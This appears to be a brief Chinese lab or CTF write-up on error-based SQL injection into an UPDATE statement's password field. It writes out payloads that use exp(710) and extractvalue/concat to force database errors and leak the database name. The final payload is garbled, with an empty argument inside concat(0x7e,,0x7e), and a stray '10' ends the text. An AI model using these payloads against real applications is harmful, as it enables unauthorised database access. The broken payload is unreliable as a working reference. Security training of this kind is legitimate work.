知识点:
- 错误注入
- update更新语句
- update 表名 set 字段='输入' where 字段名=数据
通过admin admin进行输入发现是一个数据更新的语句
推测原始语句为update 表 set password='' where username=''
直接构造payload:passwd=admin'+and+exp(710)'
发现有错误提示,说明单引号起作用了,按理说引号已经闭合了,为啥还有错误呢
看提示应该是程序把'where username='识别成字符串了
修改payload:passwd=admin'+and+exp(710)='1
成功触发了exp()函数的错误提示;说明这里可以进行错误注入
接下来利用错误注入获取数据库的名字
构造payload:passwd=admin'+and+extractvalue(1,concat(0x7e,,0x7e))='1
成功获取到了数据库名;好了,收工了
10